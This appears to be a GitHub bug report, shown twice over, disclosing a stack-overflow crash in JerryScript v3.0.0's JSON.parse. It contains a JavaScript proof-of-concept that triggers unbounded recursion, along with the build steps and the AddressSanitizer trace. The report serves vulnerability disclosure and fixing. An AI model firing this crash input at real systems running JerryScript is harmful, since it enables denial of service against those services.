###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/05dbbd134c3b9e2482998f267857dd3722001cd7
Version: v3.0.0

###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)

###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```

###### Test case
<details><summary>testcase</summary>
<p>

```javascript
JSON . parse ( " [ 1 , 2 , 2 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 8 , 8 , 0 , 1 , 2 , 2 , 4 , 4 , 4 , 4 , 8 , 8 , 0 ] " , function ( func0 , t ) { return " [ " . repeat ( 32768 ) + JSON . parse ( t ) ; } ) ; str = " [ 32 " + str + " 2 > ] " ; str += " 32 : 32 === ] " ; for ( i = 0 ; i < 2048 ; i ++ ) JSON . parse . call ( str , i ) ; str += " 1 , " ; str += " 1 ] " ; JSON . parse ( str ) ;
```
</p>
</details>

```javascript
// poc.js
JSON . parse ( " [ 1 , 2 , 2 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 8 , 8 , 0 , 1 , 2 , 2 , 4 , 4 , 4 , 4 , 8 , 8 , 0 ] " , function ( func0 , t ) { return " [ " . repeat ( 32768 ) + JSON . parse ( t ) ; } ) ;
```

###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1402144==ERROR: AddressSanitizer: stack-overflow on address 0xff64bfec (pc 0x081100a7 bp 0x00000000 sp 0xff64bff0 T0)
    #0 0x81100a7 in __sanitizer::StackDepotBase<__sanitizer::StackDepotNode, 1, 20>::Put(__sanitizer::StackTrace, bool*) (./jerryscript/build/bin/jerry+0x81100a7)
    #1 0x811007e in __sanitizer::StackDepotPut(__sanitizer::StackTrace) (./jerryscript/build/bin/jerry+0x811007e)
    #2 0x807a2d1 in __asan::Allocator::Allocate(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType, bool) (./jerryscript/build/bin/jerry+0x807a2d1)
    #3 0x8079ceb in __asan::asan_malloc(unsigned long, __sanitizer::BufferedStackTrace*) (./jerryscript/build/bin/jerry+0x8079ceb)
    #4 0x80efec3 in malloc (./jerryscript/build/bin/jerry+0x80efec3)
    #5 0x825f11c in jmem_heap_alloc ./jerryscript/jerry-core/jmem/jmem-heap.c:254:10
    #6 0x825f11c in jmem_heap_gc_and_alloc_block ./jerryscript/jerry-core/jmem/jmem-heap.c:291:24
    #7 0x8185a9d in ecma_create_object ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:94:38
    #8 0x81cb9ab in ecma_op_alloc_array_object ./jerryscript/jerry-core/ecma/operations/ecma-array-object.c:58:5
    #9 0x81cb9ab in ecma_op_new_array_object ./jerryscript/jerry-core/ecma/operations/ecma-array-object.c:110:29
    #10 0x81a8a86 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:562:32
    #11 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30
    #12 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30
    ... 
    ...
    #243 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30
    #244 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30
    #245 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30
    #246 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30

SUMMARY: AddressSanitizer: stack-overflow (./jerryscript/build/bin/jerry+0x81100a7) in __sanitizer::StackDepotBase<__sanitizer::StackDepotNode, 1, 20>::Put(__sanitizer::StackTrace, bool*)
==1402144==ABORTING
```

Credits: @Ye0nny, @EJueon of the seclab-yonsei.


AddressSanitizer: stack-overflow 
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : AddressSanitizer: stack-overflow 
Issue date:

--- start body ---
###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/05dbbd134c3b9e2482998f267857dd3722001cd7
Version: v3.0.0

###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)

###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```

###### Test case
<details><summary>testcase</summary>
<p>

```javascript
JSON . parse ( " [ 1 , 2 , 2 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 8 , 8 , 0 , 1 , 2 , 2 , 4 , 4 , 4 , 4 , 8 , 8 , 0 ] " , function ( func0 , t ) { return " [ " . repeat ( 32768 ) + JSON . parse ( t ) ; } ) ; str = " [ 32 " + str + " 2 > ] " ; str += " 32 : 32 === ] " ; for ( i = 0 ; i < 2048 ; i ++ ) JSON . parse . call ( str , i ) ; str += " 1 , " ; str += " 1 ] " ; JSON . parse ( str ) ;
```
</p>
</details>

```javascript
// poc.js
JSON . parse ( " [ 1 , 2 , 2 , 4 , 4 , 4 , 4 , 4 , 4 , 4 , 8 , 8 , 0 , 1 , 2 , 2 , 4 , 4 , 4 , 4 , 8 , 8 , 0 ] " , function ( func0 , t ) { return " [ " . repeat ( 32768 ) + JSON . parse ( t ) ; } ) ;
```

###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1402144==ERROR: AddressSanitizer: stack-overflow on address 0xff64bfec (pc 0x081100a7 bp 0x00000000 sp 0xff64bff0 T0)
    #0 0x81100a7 in __sanitizer::StackDepotBase<__sanitizer::StackDepotNode, 1, 20>::Put(__sanitizer::StackTrace, bool*) (./jerryscript/build/bin/jerry+0x81100a7)
    #1 0x811007e in __sanitizer::StackDepotPut(__sanitizer::StackTrace) (./jerryscript/build/bin/jerry+0x811007e)
    #2 0x807a2d1 in __asan::Allocator::Allocate(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType, bool) (./jerryscript/build/bin/jerry+0x807a2d1)
    #3 0x8079ceb in __asan::asan_malloc(unsigned long, __sanitizer::BufferedStackTrace*) (./jerryscript/build/bin/jerry+0x8079ceb)
    #4 0x80efec3 in malloc (./jerryscript/build/bin/jerry+0x80efec3)
    #5 0x825f11c in jmem_heap_alloc ./jerryscript/jerry-core/jmem/jmem-heap.c:254:10
    #6 0x825f11c in jmem_heap_gc_and_alloc_block ./jerryscript/jerry-core/jmem/jmem-heap.c:291:24
    #7 0x8185a9d in ecma_create_object ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:94:38
    #8 0x81cb9ab in ecma_op_alloc_array_object ./jerryscript/jerry-core/ecma/operations/ecma-array-object.c:58:5
    #9 0x81cb9ab in ecma_op_new_array_object ./jerryscript/jerry-core/ecma/operations/ecma-array-object.c:110:29
    #10 0x81a8a86 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:562:32
    #11 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30
    #12 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30
    ... 
    ...
    #243 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30
    #244 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30
    #245 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30
    #246 0x81a8fd8 in ecma_builtin_json_parse_value ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-json.c:573:30

SUMMARY: AddressSanitizer: stack-overflow (./jerryscript/build/bin/jerry+0x81100a7) in __sanitizer::StackDepotBase<__sanitizer::StackDepotNode, 1, 20>::Put(__sanitizer::StackTrace, bool*)
==1402144==ABORTING
```

Credits: @Ye0nny, @EJueon of the seclab-yonsei.


--- end body ---

A stack overflow vulnerability in JerryScript v3.0.0 allows attackers to cause a Denial of Service (DoS) by exploiting the JSON.parse function with specially crafted input, leading to excessive recursion and eventual crash of the application.